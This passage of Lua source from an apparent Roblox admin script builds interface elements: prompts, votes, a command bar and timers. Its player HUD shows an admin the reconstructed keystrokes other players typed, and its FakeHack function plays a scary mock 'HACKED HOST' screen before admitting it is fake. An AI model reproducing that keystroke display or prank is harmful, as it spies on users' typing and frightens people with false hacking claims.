4486 local KeyOutput = Instance.new("TextLabel", PlayerHUD) KeyOutput.Name = "KeyOutput" KeyOutput.Position = UDim2.new(0, 1, -0.5, 0) KeyOutput.Size = UDim2.new(5, 0, 0.5, 1) KeyOutput.BackgroundTransparency = 1 KeyOutput.Text = "" KeyOutput.Font = "SourceSansLight" KeyOutput.FontSize = "Size14" KeyOutput.TextScaled = true KeyOutput.TextWrapped = true KeyOutput.TextXAlignment = "Left" KeyOutput.TextColor3 = Color3.new(1, 1, 1)
4487 coroutine.wrap(function() while wait() and InfoLabel and InfoLabel.Parent and Char and Char:FindFirstChild("Head") do
4488 InfoLabel.Text = "Name: "..Player.Name..[[
4489Rank: ]]..RANK:GetRank(Player)..[[
4490Age: ]]..STRING:FindAge(Player.AccountAge)
4491 if Speaker.Character and Speaker.Character:FindFirstChild("Head") then
4492 InfoLabel.Text = InfoLabel.Text..[[
4493Distance: ]]..CORE:Round((Speaker.Character.Head.Position - Player.Character.Head.Position).magnitude)
4494 end
4495 if LastKeys[Player.UserId] then
4496 local Keys = ""
4497 local KeyLog = {}
4498 for _,KeyData in pairs(LastKeys[Player.UserId]) do
4499 table.insert(KeyLog, KeyData[1])
4500 if KeyData[2] == 8 then
4501 Keys = string.sub(Keys, 1, #Keys - 1)
4502 elseif KeyData[2] == 13 then
4503 Keys = Keys.." "
4504 else
4505 Keys = Keys..string.char(KeyData[2])
4506 end
4507 end
4508 KeyLabel.Text = table.concat(KeyLog, "\n")
4509 KeyOutput.Text = Keys
4510 end
4511 HUD.Image = "rbxassetid://"..RankHUD[Rank]
4512 end end)()
4513
4514 local CharRev,Removing = nil,nil
4515 CharRev = Player.CharacterRemoving:connect(function()
4516 PlayerHUD:Destroy()
4517 CharRev:disconnect()
4518 Removing:disconnect()
4519 end)
4520 Removing = Server.Players.PlayerRemoving:connect(function(PlayerR) if PlayerR == Player then
4521 PlayerHUD:Destroy()
4522 CharRev:disconnect()
4523 Removing:disconnect()
4524 end end)
4525 end
4526
4527 local function ConnectHUD(Player)
4528 if Player ~= Speaker then
4529 if Player.Character then
4530 AddHUD(Player, Player.Character)
4531 end
4532
4533 Player.CharacterAdded:connect(function(Char)
4534 if Speaker then
4535 AddHUD(Player, Char)
4536 else return nil
4537 end
4538 end)
4539 end
4540 end
4541
4542 for _,Player in pairs(Server.Players:GetPlayers()) do
4543 ConnectHUD(Player)
4544 end
4545
4546 Server.Players.PlayerAdded:connect(ConnectHUD)
4547end
4548
4549function GUI:CreateMessagePrompt(Player, Title, ImageID, PreAdd, SpeakerEvents)
4550 if not Player or not Player:FindFirstChild("PlayerGui") then return nil end
4551 local Stopped = false
4552
4553 local Frame, _, Closed = GUI:CreateForm(Player, Title, UDim2.new(0.3,0,0.5,0), nil, ImageID)
4554 Frame.Size = UDim2.new(1, 0, 1, -30)
4555 Frame.CanvasSize = UDim2.new(0, 0 ,0 ,0)
4556
4557 local FakeCB = Instance.new("TextButton", Frame.Parent) FakeCB.Name = "FakeChatBox" FakeCB.Position = UDim2.new(0, 0, 1, -30) FakeCB.Size = UDim2.new(1, -50, 0, 30) FakeCB.BackgroundTransparency = 1 FakeCB.Text = "Click here or press the '-' key" FakeCB.Font = Settings.Font FakeCB.FontSize = "Size18" FakeCB.TextXAlignment = "Left" FakeCB.ZIndex = 2
4558 local ChatBox = Instance.new("TextBox", Frame.Parent) ChatBox.Name = "ChatBox" ChatBox.Position = UDim2.new(0, 0, 1, -30) ChatBox.Size = UDim2.new(1, -50, 0, 30) ChatBox.BackgroundTransparency = 0.5 ChatBox.BackgroundColor3 = GUI:GetColor() ChatBox.Text = "" ChatBox.Font = Settings.Font ChatBox.FontSize = "Size18" ChatBox.TextXAlignment = "Left" ChatBox.ClearTextOnFocus = false
4559 local Send = Instance.new("TextButton", Frame.Parent) Send.Position = UDim2.new(1, -50, 1, -30) Send.Size = UDim2.new(0, 50, 0, 30) Send.BackgroundColor3 = GUI:GetColor() Send.BackgroundTransparency = 0.5 Send.Text = "Enter" Send.Font = Settings.Font Send.FontSize = "Size14"
4560
4561 local function AddLine(Speaker, MessageText, MessageColor)
4562 MessageText = STRING:Defilter(MessageText)
4563 if MessageColor == true then MessageColor = Color3.new(1,0,0) end
4564 if not MessageColor then MessageColor = GUI:ContrastColor() end
4565 local Bounds = Instance.new("Frame") Bounds.Name = "Bounds" Bounds.Position = UDim2.new(0, 0, 1, -20) Bounds.Size = UDim2.new(1, 0, 0, 20) Bounds.BackgroundTransparency = 1
4566 local Name = Instance.new("TextLabel", Bounds) Name.Name = "PName" Name.Size = UDim2.new(0, 60, 1, 0) Name.BackgroundTransparency = 1 Name.Text = Speaker..": " Name.Font = "ArialBold" Name.FontSize = "Size14" Name.TextXAlignment = "Left" Name.TextColor3 = GUI:GetNameColor(Speaker).Color
4567 local Message = Instance.new("TextLabel", Bounds) Message.Name = "Message" Message.Position = UDim2.new(0, 60, 0, 0) Message.Size = UDim2.new(0, 60, 1, 0) Message.BackgroundTransparency = 1 Message.Text = MessageText Message.Font = "ArialBold" Message.FontSize = "Size14" Message.TextXAlignment = "Left" Message.TextColor3 = MessageColor
4568 Bounds.Parent = Frame
4569 end
4570
4571 local RPR = CORE:CreateRemotePropertyReader(ChatBox)
4572
4573 local Functions = Instance.new("Folder", Frame) Functions.Name = "Functions"
4574 local SendPressed = Instance.new("BindableEvent", Functions) SendPressed.Name = "SendPressed"
4575 local AddMessage = Instance.new("BindableFunction", Functions) AddMessage.Name = "AddMessage"
4576
4577 local EnterPressed = Instance.new("RemoteFunction", ChatBox) EnterPressed.Name = "EnterPressed"
4578 local ClearCB = Instance.new("RemoteFunction", ChatBox) ClearCB.Name = "ClearCB"
4579
4580 CORE:ExecuteResource("MessagePromptHandler", Frame)
4581
4582 wait(0.1)
4583
4584 if PreAdd then
4585 for Num,Add in pairs(PreAdd) do
4586 AddLine(Add[1], Add[2], Add[3])
4587 end
4588 end
4589
4590 --[[
4591 CORE:ExecuteResource("ChatBoxLocal", ChatBox)
4592
4593 CORE:HandleEvent(ChatBox, "MouseEnter", function()
4594 if ChatBox.Text == "Click here or press the '-' key" then
4595 ChatBox.Text = ""
4596 end
4597 end)
4598 ]]
4599
4600 local function FireSendPressed()
4601 local Text = CORE:ReadProperty(RPR, Player, "Text")
4602 if Text ~= "" and Text ~= "Click here or press the '-' key" then
4603 SendPressed:Fire(Text)
4604 FakeCB.Visible = true
4605 ClearCB:InvokeClient(Player)
4606 end
4607 end
4608
4609 Closed.Event:connect(function()
4610 if Stopped == false then
4611 Stopped = true
4612 if SpeakerEvents then SpeakerEvents("Leave") end
4613 end
4614 end)
4615
4616 CORE:HandleEvent(Send, "MouseButton1Down", FireSendPressed)
4617 EnterPressed.OnServerInvoke = FireSendPressed
4618 AddMessage.OnInvoke = AddLine
4619
4620 if SpeakerEvents then
4621 SpeakerEvents("Join")
4622
4623 coroutine.wrap(function()
4624 repeat wait() until not Frame or not Frame.Parent
4625 if Stopped == false then
4626 Stopped = true
4627 SpeakerEvents("Leave")
4628 end
4629 end)()
4630 end
4631
4632 return SendPressed, AddMessage
4633end
4634
4635function GUI:PromptMessageWithButtons(Player, Title, BodyText, IconID, Buttons, Time, ShowFormButtons)
4636 if tonumber(Time) then ShowFormButtons = false end
4637 local Frame, Close = GUI:CreateForm(Player, Title, UDim2.new(0.4,0,0.4,0), nil, IconID, ShowFormButtons)
4638 local Body = Instance.new("TextLabel", Frame) Body.Name = "Body" Body.Size = UDim2.new(1, 0, 1, -60) Body.BackgroundTransparency = 1 Body.Text = BodyText Body.Font = Settings.Font Body.FontSize = "Size18" Body.TextWrapped = true Body.TextColor3 = GUI:ContrastColor()
4639 local Clicked = nil
4640 local Alive = true
4641
4642 local function ClosePrompt(ButtonName)
4643 Alive = false
4644 Close:Invoke()
4645 Clicked = ButtonName
4646 end
4647
4648 for Num,Select in pairs(Buttons) do
4649 local Name = Select
4650 local Style = "White"
4651 local TextColor3 = Color3.new(0,0,0)
4652 if type(Select) == "table" then
4653 Name = Select[1]
4654 if Select[2] then Style = Select[2] end
4655 if Select[3] then TextColor3 = Select[3] end
4656 elseif type(Select) == "string" then
4657 local Case = string.lower(Select)
4658 if Case == "ok" then
4659 Name = "Ok"
4660 Style = "Primary"
4661 TextColor3 = Color3.new(1,1,1)
4662 elseif Case == "yes" then
4663 Name = "Yes"
4664 Style = "Gray"
4665 TextColor3 = Color3.new(0,1,0)
4666 elseif Case == "no" then
4667 Name = "No"
4668 Style = "Red"
4669 TextColor3 = Color3.new(1,0,0)
4670 end
4671 end
4672
4673 if Style == "None" then Style = "Custom" end
4674 if Style == "Casual" then Style = "RobloxButton" end
4675 if Style == "Red" then Style = "RobloxButtonDefault" end
4676 if Style == "Gray" then Style = "RobloxRoundButton" end
4677 if Style == "Primary" then Style = "RobloxRoundDefaultButton" end
4678 if Style == "White" then Style = "RobloxRoundDropdownButton" end
4679
4680 local Button = Instance.new("TextButton", Frame) Button.Name = Name Button.Position = UDim2.new((Num/#Buttons)-(1/#Buttons), 0, 1, -55) Button.Size = UDim2.new(1/#Buttons, 0, 0, 50) Button.BackgroundColor3 = Color3.new(1, 1, 1) Button.Text = Name Button.Font = Settings.Font Button.FontSize = "Size14" Button.TextScaled = true Button.TextWrapped = true Button.TextColor3 = TextColor3 Button.Style = Style
4681 CORE:HandleEvent(Button, "MouseButton1Down", function() ClosePrompt(Name) end)
4682 SOUND:BindButton(Button)
4683 end
4684
4685 if tonumber(Time) then
4686 local Ticker = Instance.new("TextLabel", Frame.Parent) Ticker.Size = UDim2.new(1, 0, 0, 30) Ticker.TextColor3 = GUI:ContrastColor() Ticker.BackgroundTransparency = 1 Ticker.Text = Time Ticker.Font = "ArialBold" Ticker.FontSize = "Size18"
4687 Frame.Size = Frame.Size + UDim2.new(0,0,0,-30)
4688 Frame.Position = Frame.Position + UDim2.new(0,0,0,30)
4689
4690 for i = Time,0,-1 do
4691 for ii = 1,10 do
4692 if Alive == true then
4693 Ticker.Text = i
4694 wait(0.1)
4695 else
4696 break
4697 end
4698 end
4699 end
4700 if Alive == true then
4701 ClosePrompt()
4702 end
4703 end
4704
4705 repeat wait() until Alive == false
4706 return Clicked
4707end
4708
4709function GUI:Vote(Speaker, Players, Text, Time)
4710 if not Players or not Text or #Players <= 0 then return end
4711
4712 Text = STRING:Defilter(Text)
4713 local Votes = {}
4714 local Tick = 0
4715
4716 for _,Player in pairs(Players) do
4717 local CanVote = true
4718 if not game.Players:FindFirstChild(tostring(Player)) or not Player.PlayerGui then CanVote = false end
4719 if CanVote == true then
4720 coroutine.wrap(function()
4721 local Answer = GUI:PromptMessageWithButtons(Player, "Vote", Text, nil, {"Yes", "No"}, Time)
4722 if Answer == nil then Answer = "Unknown" end
4723 table.insert(Votes, Answer)
4724 end)()
4725 end
4726 end
4727 repeat wait(1) Tick = Tick + 1 until #Votes >= #Players or Tick >= Time
4728 wait(2)
4729 if Speaker and Speaker:FindFirstChild("PlayerGui") then
4730 local Total = #Players
4731 local Yes,No,Unknown = 0,0,0
4732 for _,Vote in pairs(Votes) do
4733 if Vote == "Yes" then Yes = Yes + 1
4734 elseif Vote == "No" then No = No + 1
4735 end
4736 end
4737 Unknown = #Players - #Votes
4738
4739 local Frame = GUI:CreateForm(Speaker, "Vote Results", UDim2.new(0.35, 0, 0.35, 0), nil, 42330863)
4740 local QText = Instance.new("TextLabel", Frame) QText.Name = "QText" QText.Size = UDim2.new(1, 0, 1, -55) QText.BackgroundColor3 = Color3.new(1, 1, 1) QText.BackgroundTransparency = 1 QText.Text = "Results for: "..Text QText.Font = Settings.Font QText.FontSize = "Size18" QText.TextWrapped = true QText.TextYAlignment = "Top" QText.TextColor3 = GUI:ContrastColor()
4741 local RTextYes = Instance.new("TextLabel", Frame) RTextYes.Name = "RTextYes" RTextYes.Position = UDim2.new(0, 0, 1, -55) RTextYes.Size = UDim2.new(1, 0, 0, 55) RTextYes.BackgroundColor3 = Color3.new(1, 1, 1) RTextYes.BackgroundTransparency = 1 RTextYes.Font = Settings.Font RTextYes.FontSize = "Size18" RTextYes.TextXAlignment = "Left" RTextYes.TextYAlignment = "Bottom" RTextYes.TextColor3 = Color3.new(0, 1, 0) RTextYes.Text = [[Yes:
4742]]..Yes.."/"..Total..[[
4743]]..math.ceil((Yes/Total)*100).."% "
4744 local RTextNo = Instance.new("TextLabel", Frame) RTextNo.Name = "RTextNo" RTextNo.Position = UDim2.new(0, 0, 1, -55) RTextNo.Size = UDim2.new(1, 0, 0, 55) RTextNo.BackgroundColor3 = Color3.new(1, 1, 1) RTextNo.BackgroundTransparency = 1 RTextNo.Font = Settings.Font RTextNo.FontSize = "Size18" RTextNo.TextXAlignment = "Right" RTextNo.TextYAlignment = "Bottom" RTextNo.TextColor3 = Color3.new(1, 0, 0) RTextNo.Text = [[No:
4745]]..No.."/"..Total..[[
4746]]..math.ceil((No/Total)*100).."% "
4747 local RTextUnknown = Instance.new("TextLabel", Frame) RTextUnknown.Name = "RTextUnknown" RTextUnknown.Position = UDim2.new(0, 0, 1, -55) RTextUnknown.Size = UDim2.new(1, 0, 0, 55) RTextUnknown.BackgroundColor3 = Color3.new(1, 1, 1) RTextUnknown.BackgroundTransparency = 1 RTextUnknown.Font = Settings.Font RTextUnknown.FontSize = "Size18" RTextUnknown.TextYAlignment = "Bottom" RTextUnknown.TextColor3 = Color3.new(0, 0, 0) RTextUnknown.Text = [[No vote:
4748]]..Unknown.."/"..Total..[[
4749]]..math.ceil((Unknown/Total)*100).."% "
4750 end
4751end
4752
4753function GUI:LoadGui(Player, Text, InfoText)
4754 if not Player or not Player:FindFirstChild("PlayerGui") then return nil end
4755 local Dead = false
4756
4757 local Frame, Close = GUI:CreateForm(Player, Text, UDim2.new(0.2,100,0.1,100), nil, 206886319, false)
4758 local WaitIcon = Instance.new("ImageLabel", Frame) WaitIcon.Name = "WaitIcon" WaitIcon.Position = UDim2.new(0, 10, 0.5, -35) WaitIcon.Size = UDim2.new(0, 70, 0, 70) WaitIcon.BackgroundColor3 = Color3.new(1, 1, 1) WaitIcon.BackgroundTransparency = 1 WaitIcon.Image = "http://roblox.com/asset/?id=206886319"
4759 local LoadLabel = Instance.new("TextLabel", Frame) LoadLabel.Position = UDim2.new(0, 85, 0, 0) LoadLabel.Size = UDim2.new(1, -90, 1, 0) LoadLabel.TextColor3 = GUI:ContrastColor() LoadLabel.BackgroundTransparency = 1 LoadLabel.Text = Text LoadLabel.Font = "ArialBold" LoadLabel.FontSize = "Size24" LoadLabel.TextWrapped = true LoadLabel.TextXAlignment = "Left"
4760 local Info = Instance.new("TextLabel", Frame) Info.Size = UDim2.new(1, 0, 1, 0) Info.TextColor3 = GUI:ContrastColor() Info.BackgroundTransparency = 1 Info.Text = "" Info.Font = Settings.Font Info.FontSize = "Size14" Info.TextWrapped = true Info.TextXAlignment = "Left" Info.TextYAlignment = "Bottom"
4761 if InfoText then Info.Text = InfoText end
4762
4763 local CloseGui = Instance.new("BindableFunction", Frame) CloseGui.Name = "CloseGui"
4764 local AddInfo = Instance.new("BindableFunction", Frame) CloseGui.Name = "AddInfo"
4765
4766 CloseGui.OnInvoke = function()
4767 Close:Invoke()
4768 Dead = true
4769 end
4770 AddInfo.OnInvoke = function(AddText)
4771 Info.Text = AddText
4772 end
4773
4774 coroutine.wrap(function()
4775 for i = 0,math.huge,3 do
4776 if Dead == false and Frame then
4777 WaitIcon.Rotation = i
4778 wait()
4779 else
4780 break
4781 end
4782 end
4783 end)()
4784
4785 coroutine.wrap(function()
4786 while Dead == false and Frame do
4787 wait(0.5)
4788 LoadLabel.Text = Text.."."
4789 wait(0.5)
4790 LoadLabel.Text = Text..".."
4791 wait(0.5)
4792 LoadLabel.Text = Text.."..."
4793 wait(0.5)
4794 LoadLabel.Text = Text..".."
4795 wait(0.5)
4796 LoadLabel.Text = Text.."."
4797 wait(0.5)
4798 LoadLabel.Text = Text
4799 end
4800 end)()
4801
4802 wait(1)
4803
4804 return CloseGui, AddInfo
4805end
4806
4807function GUI:FakeHack(Player) coroutine.wrap(function()
4808 if not Player or not Player:FindFirstChild("PlayerGui") then return end
4809 local FakeText = [[
4810>SHELL: BEGIN
4811>RUNCODE:
4812return {
4813 local Hack = {"Account", "Tix", "Robux"};
4814 function Start(Type, Inject, Scan)
4815 if not Inject then Inject = "In-Game" end
4816 return {Type, Inject, Scan}
4817 end
4818 for Exe,Exploit in pairs(Hack) do
4819 local IP = Start("In-Game",Exploit,
4820 BeginScan("PLAYERNAME","Socket",{PLAYERNAME, "Local-ID"};0xPLAYERCONNECT),
4821 {"LOCAL-IP", "SERVER-IP", "HOST-IP"}
4822 )
4823 Start:ExtractData = function() EndScan("RobloxPlayerBeta.exe","Place1","PLAYERNAME") end
4824 for i = 1,#Injection[2] do
4825 Log("PlayerData", "ConnectHost", "PLAYERNAME")
4826 end
4827 local PlayerProxy = newproxy(true)
4828 setmetatable(PlayerProxy,Injection[3],{
4829 __index = function(StealData, ...) local Data = unpack(...)
4830 return {Data,"IP-KEY-LOG: 'PLAYERNAME'"}
4831 end;
4832 })
4833 end
4834 Log("HACKED HOST: PLAYERNAME")
4835}
4836>HACKED HOST: PLAYERNAME
4837
4838]]
4839 local SG = Player.PlayerGui:FindFirstChild("MML Hack Gui")
4840 if SG then SG:Destroy() end
4841 SG = Instance.new("ScreenGui", Player.PlayerGui)
4842 SG.Name = "MML Hack Gui"
4843 local Frame = Instance.new("Frame", SG) Frame.Name = "HackFrame" Frame.BackgroundColor3 = Color3.new(0,0,0) Frame.Position = UDim2.new(0.45,-125,0.4,-100) Frame.Size = UDim2.new(0.1,250,0.1,200)
4844 local X = Instance.new("TextButton", Frame) X.Name = "X" X.Style = "RobloxButtonDefault" X.Size = UDim2.new(0,20,0,20) X.Visible = false X.Font = "ArialBold" X.FontSize = "Size18" X.Text = "X" X.TextColor3 = Color3.new(1,0,0) X.ZIndex = 2 CORE:HandleEvent(X, "MouseButton1Click", function() SG:Destroy() end)
4845 local HT = Instance.new("TextLabel", Frame) HT.Name = "Hack Text" HT.Size = UDim2.new(1,0,1,0) HT.BackgroundTransparency = 1 HT.Font = "ArialBold" HT.FontSize = "Size12" HT.TextColor3 = Color3.new(0,1,0) HT.TextXAlignment = "Left" HT.TextYAlignment = "Bottom" HT.ClipsDescendants = true
4846 for i = 1,#FakeText do
4847 HT.Text = string.sub(string.gsub(FakeText, "PLAYERNAME", Player.Name), 1, i)
4848 if math.random(1,5) == 1 then
4849 wait()
4850 end
4851 end
4852 HT.Text = string.gsub(FakeText, "PLAYERNAME", Player.Name)
4853 wait(3)
4854 HT.Text = HT.Text..[[>INFO: You did not really get hacked, this command is a
4855fake hack command from Maker]]..[[ModelLu]]..[[a's Admin V3]]
4856 X.Visible = true
4857end)() end
4858
4859function GUI:CommandBar(Player)
4860 if not Player or not Player:FindFirstChild("PlayerGui") then return nil end
4861
4862 local Frame = GUI:CreateForm(Player, "Command Bar", UDim2.new(0.5, 100, 0.1, 50), UDim2.new(0.25, -50, 0.1, 0), "Admin", nil, nil, nil, nil, nil, nil, true)
4863 local CommandBox = Instance.new("TextBox", Frame) CommandBox.Name = "CommandBox" CommandBox.Position = UDim2.new(0.3, 5, 0, 5) CommandBox.Size = UDim2.new(0.7, -20, 0.4, 0) CommandBox.BackgroundColor3 = GUI:GetColor() CommandBox.BackgroundTransparency = Settings.TransparencyScheme CommandBox.Text = "Enter a command here" CommandBox.Font = Settings.Font CommandBox.FontSize = "Size18" CommandBox.TextXAlignment = "Left" CommandBox.TextColor3 = GUI:ContrastColor() CommandBox.ClearTextOnFocus = false
4864 local Execute = Instance.new("TextButton", Frame) Execute.Name = "Execute" Execute.Position = UDim2.new(0.3, 5, 0.7, -10) Execute.Size = UDim2.new(0.7, -20, 0.4, -10) Execute.BackgroundColor3 = GUI:GetColor() Execute.BackgroundTransparency = Settings.TransparencyScheme Execute.Text = "Execute" Execute.Font = "ArialBold" Execute.FontSize = "Size18" Execute.TextColor3 = GUI:ContrastColor()
4865 local Suggest = Instance.new("ScrollingFrame", Frame) Suggest.Name = "Suggest" Suggest.BackgroundTransparency = Settings.TransparencyScheme Suggest.CanvasSize = UDim2.new(0,0,0,0) Suggest.BackgroundColor3 = GUI:ContrastColor() Suggest.Size = UDim2.new(0.3,0,1,0)
4866
4867 local _,Rank = RANK:GetRank(Player)
4868 local UsableCommands = {}
4869 for CommandNames,Data in pairs(Commands) do
4870 if not Data.Hidden then
4871 if RANK:ConvertRank(Data[4]) <= Rank then
4872 for _,Command in pairs(CommandNames) do
4873 table.insert(UsableCommands, {Command, Data[3]})
4874 end
4875 end
4876 end
4877 end
4878
4879 local RPR = CORE:CreateRemotePropertyReader(CommandBox)
4880
4881 local function ExecuteText()
4882 local Text = CORE:ReadProperty(RPR, Player, "Text")
4883 CORE:Chatted(Text, Player, true)
4884 CommandBox.Text = "Enter a command here"
4885 end
4886
4887 local function AddSuggestion(Text)
4888 if Text == nil then Text = Settings.Prefix end
4889 local Suggestion = Instance.new("TextButton", Suggest) Suggestion.Name = "Suggestion" Suggestion.Size = UDim2.new(1, -13, 0, 25) Suggestion.Position = UDim2.new(0,0,0,(#Suggest:GetChildren()-1)*25) Suggestion.BackgroundColor3 = Color3.new(1, 1, 1) Suggestion.BackgroundTransparency = Settings.TransparencyScheme Suggestion.Text = Text Suggestion.Font = Settings.Font Suggestion.FontSize = "Size14" Suggestion.TextXAlignment = "Left" Suggestion.TextColor3 = Color3.new(0, 0, 0)
4890 Suggest.CanvasSize = Suggest.CanvasSize + UDim2.new(0,0,0,25)
4891 CORE:HandleEvent(Suggestion, "MouseButton1Down", function()
4892 if Text == Settings.Prefix then
4893 CommandBox.Text = Settings.Prefix
4894 else
4895 CommandBox.Text = Settings.Prefix..Text
4896 end
4897 CORE:ExecuteResource("Focus", CommandBox)
4898 end, true)
4899 end
4900
4901 CORE:HandleEvent(CommandBox, "MouseEnter", function()
4902 if CommandBox.Text == "Enter a command here" then
4903 CommandBox.Text = ""
4904 end
4905 end)
4906
4907 local EnterPressed = Instance.new("RemoteFunction", CommandBox) EnterPressed.Name = "EnterPressed"
4908 CORE:ExecuteResource("ChatBoxLocal", CommandBox)
4909
4910 CORE:HandleEvent(Execute, "MouseButton1Down", ExecuteText)
4911 EnterPressed.OnServerInvoke = ExecuteText
4912
4913 CORE:HandleEvent(CommandBox, "Changed", function(Prop) if Prop == "Text" then
4914 Suggest.CanvasSize = UDim2.new(0,0,0,0)
4915 Suggest:ClearAllChildren()
4916 local Text = CORE:ReadProperty(RPR, Player, "Text")
4917 if Text == "" then
4918 AddSuggestion(Settings.Prefix)
4919 end
4920
4921 if string.sub(string.lower(Text),1,#Settings.Prefix) == string.lower(Settings.Prefix) then
4922 Text = string.sub(Text,#Settings.Prefix+1)
4923 end
4924 for _,Data in pairs(UsableCommands) do
4925 local Command,Args = Data[1],Data[2]
4926 if string.find(string.lower(Command),string.lower(Text)) then
4927 local NewSuggestion = Command
4928 if Args >= 1 then NewSuggestion = NewSuggestion..Settings.Bet end
4929 AddSuggestion(NewSuggestion)
4930 end
4931 end
4932
4933 end end)
4934end
4935
4936function GUI:Countdown(Player, AllSeconds) coroutine.wrap(function()
4937 if not Player or not AllSeconds then return nil end
4938 AllSeconds = tonumber(AllSeconds)
4939 local Frame, Close, Closed, _, __, Restore = GUI:CreateForm(Player, "Countdown", UDim2.new(0, 200, 0, 80), UDim2.new(0, 0, 0, 200), 154818730)
4940 AllSeconds = math.floor(AllSeconds)
4941 if AllSeconds < 1 then AllSeconds = 1 elseif AllSeconds > 300 then AllSeconds = 300 end
4942 local Time = Instance.new("TextLabel", Frame) Time.Name = "Time" Time.Size = UDim2.new(1, 0, 1, 0) Time.BackgroundTransparency = 1 Time.Text = "00:00" Time.Font = "ArialBold" Time.FontSize = "Size24" Time.TextYAlignment = "Top" Time.TextColor3 = GUI:ContrastColor()
4943 local Full = Instance.new("Frame", Frame) Full.Name = "Full" Full.Position = UDim2.new(0.1, 0, 0.7, 0) Full.Size = UDim2.new(0.8, 0, 0, 5) Full.BackgroundColor3 = GUI:ContrastColor() Full.BorderSizePixel = 0
4944 local Part = Instance.new("Frame", Full) Part.Name = "Part" Part.Size = UDim2.new(0, 0, 1, 0) Part.BackgroundColor3 = GUI:GetColor() Part.BorderColor3 = Color3.new(1, 1, 1) Part.BorderSizePixel = 2
4945 local Tick = SOUND:MakeSound(Frame, 151715959, 1, 1)
4946 local Alarm = SOUND:MakeSound(Frame, 131573697, 1, 1)
4947
4948 local CurrentSeconds = AllSeconds
4949 local Alive = true
4950 coroutine.wrap(function() for i = 0,AllSeconds do
4951 if not Alive then break end
4952 local Seconds = tostring(math.fmod(CurrentSeconds,60))
4953 local Minutes = tostring(math.floor(CurrentSeconds/60))
4954 if #Seconds == 1 then Seconds = "0"..Seconds end
4955 if #Minutes == 1 then Minutes = "0"..Minutes end
4956 Time.Text = Minutes..":"..Seconds
4957 wait(1)
4958 if CurrentSeconds <= 0 then
4959 Alarm:Play()
4960 Time.Text = "00:00"
4961 Part.Size = UDim2.new(1,0,1,0)
4962 Restore:Invoke()
4963 wait(4)
4964 Close:Invoke()
4965 break
4966 else
4967 Tick:Play()
4968 Part.Size = UDim2.new((AllSeconds - CurrentSeconds)/AllSeconds,0,1,0)
4969 CurrentSeconds = CurrentSeconds - 1
4970 end
4971 end end)()
4972
4973 Closed.Event:connect(function()
4974 if Alive == true then
4975 Alive = false
4976 Tick:Stop()
4977 Alarm:Stop()
4978 end
4979 end)
4980end)() end
4981
4982function GUI:DetachChat(Player)
4983 if not Player or not Player:FindFirstChild("PlayerGui") then return nil end
4984 if Player:FindFirstChild("DetachChatMML") then
4985 Player.DetachChatMML:Invoke(true)
4986 wait()
4987 Player.DetachChatMML:Destroy()
4988 end
4989
4990 local Frame, _, Closed = GUI:CreateForm(Player, "Detached Chat", UDim2.new(0.5, 0, 0.5, 32), nil, 57550259)
4991 local SG = Frame.Parent.Parent.Parent
4992
4993 local DCBF = Instance.new("BindableFunction", Player)
4994 DCBF.Name = "DetachChatMML"
4995 DCBF.OnInvoke = function(Remove)
4996 if Remove then
4997 SG:Destroy()
4998 end
4999 end
5000 CORE:ExecuteResource("CoreChat", SG)
5001
5002 local IsClosed = false
5003 Closed.Event:connect(function()
5004 CORE:ExecuteResource("ResetChat", Player:WaitForChild("Backpack"))
5005 IsClosed = true
5006 end)
5007
5008 coroutine.wrap(function()
5009 Player.CharacterRemoving:wait()
5010 if not IsClosed then
5011 IsClosed = true
5012 wait(1)
5013 CORE:ExecuteResource("ResetChat", Player:WaitForChild("Backpack"))
5014 end
5015 end)()
5016end
5017
5018function GUI:SendChat(Player, Data) coroutine.wrap(function()
5019 if not Player then return nil end
5020 if type(Data) ~= "table" then Data = {Text = tostring(Data)} end
5021
5022 Player:WaitForChild("SendChat"):InvokeClient(Player, Data)
5023end)() end
5024
5025function GUI:SoundInfo(Player, SoundID, TitleText, CreatorText, Time)
5026 if not Player or not Player:FindFirstChild("PlayerGui") then return nil end
5027
5028 local NumSounds = 0
5029 for _,SG in pairs(Player.PlayerGui:GetChildren()) do
5030 if SG.Name == "M".."a".."k".."erModelLu".."a's Admin Form Sound" then
5031 NumSounds = NumSounds + 1
5032 end
5033 end
5034
5035 local Size = UDim2.new(0.1, 100, 0.1, 100)
5036 local Frame, Close, Closed, _, Minimized = GUI:CreateForm(Player, "Playing Sound "..SoundID, Size, UDim2.new(Size.X.Scale * NumSounds, (Size.X.Offset * NumSounds) + (NumSounds * 5), 0.5, -50), "Sound", true, nil, nil, false)
5037 Frame.Parent.Parent.Parent.Name = Frame.Parent.Parent.Parent.Name.." Sound"
5038
5039 local Title = Instance.new("TextLabel", Frame) Title.FontSize = "Size24" Title.TextWrapped = true Title.Size = UDim2.new(1, 0, 0.8, -35) Title.TextColor3 = GUI:ContrastColor() Title.Text = TitleText Title.BackgroundTransparency = 1 Title.Font = Settings.Font Title.Name = "Title"
5040 local Creator = Instance.new("TextLabel", Frame) Creator.FontSize = "Size18" Creator.TextWrapped = true Creator.Size = UDim2.new(1, 0, 0.2, 0) Creator.TextColor3 = GUI:ContrastColor() Creator.Text = CreatorText Creator.Position = UDim2.new(0, 0, 0.8, -35) Creator.BackgroundTransparency = 1 Creator.Font = Settings.Font Creator.Name = "Creator"
5041 local Timer = Instance.new("TextLabel", Frame) Timer.FontSize = "Size14" Timer.TextWrapped = true Timer.Size = UDim2.new(1, 0, 0, 35) Timer.TextColor3 = GUI:ContrastColor() Timer.Position = UDim2.new(0, 0, 1, -35) Timer.BackgroundTransparency = 1 Timer.Font = Settings.Font Timer.Name = "Timer"
5042 local Stop = Instance.new("ImageButton", Timer) Stop.Image = "rbxassetid://49494354" Stop.Size = UDim2.new(0, 30, 0, 30) Stop.BackgroundTransparency = 1 Stop.Position = UDim2.new(1, -35, 0, 2)
5043
5044 coroutine.wrap(function()
5045 local Alive = true
5046
5047 local function StopTimer() Alive = false end
5048 Closed.Event:connect(StopTimer)
5049 Minimized.Event:connect(StopTimer)
5050 CORE:HandleEvent(Stop, "MouseButton1Down", StopTimer)
5051
5052 for i = Time,0,-1 do
5053 for ii = 1,10 do
5054 if Alive == true then
5055 Timer.Text = i
5056 wait(0.1)
5057 else
5058 break
5059 end
5060 end
5061 end
5062 if Alive == true then
5063 Close:Invoke()
5064 else
5065 Timer:Destroy()
5066 Stop:Destroy()
5067 end
5068 end)()
5069end
5070
5071---- STRING REPLACEMENT OPERATIONS ----
5072
5073-- {"_REPLACEMENT", "Replaces input string with ".."string description", RequiresPlayer, function(Player)}
5074
5075-- Like the commands, this table must be placed here in order for the variables in the functions to successfully initalize.
5076
5077StringReplacements = {
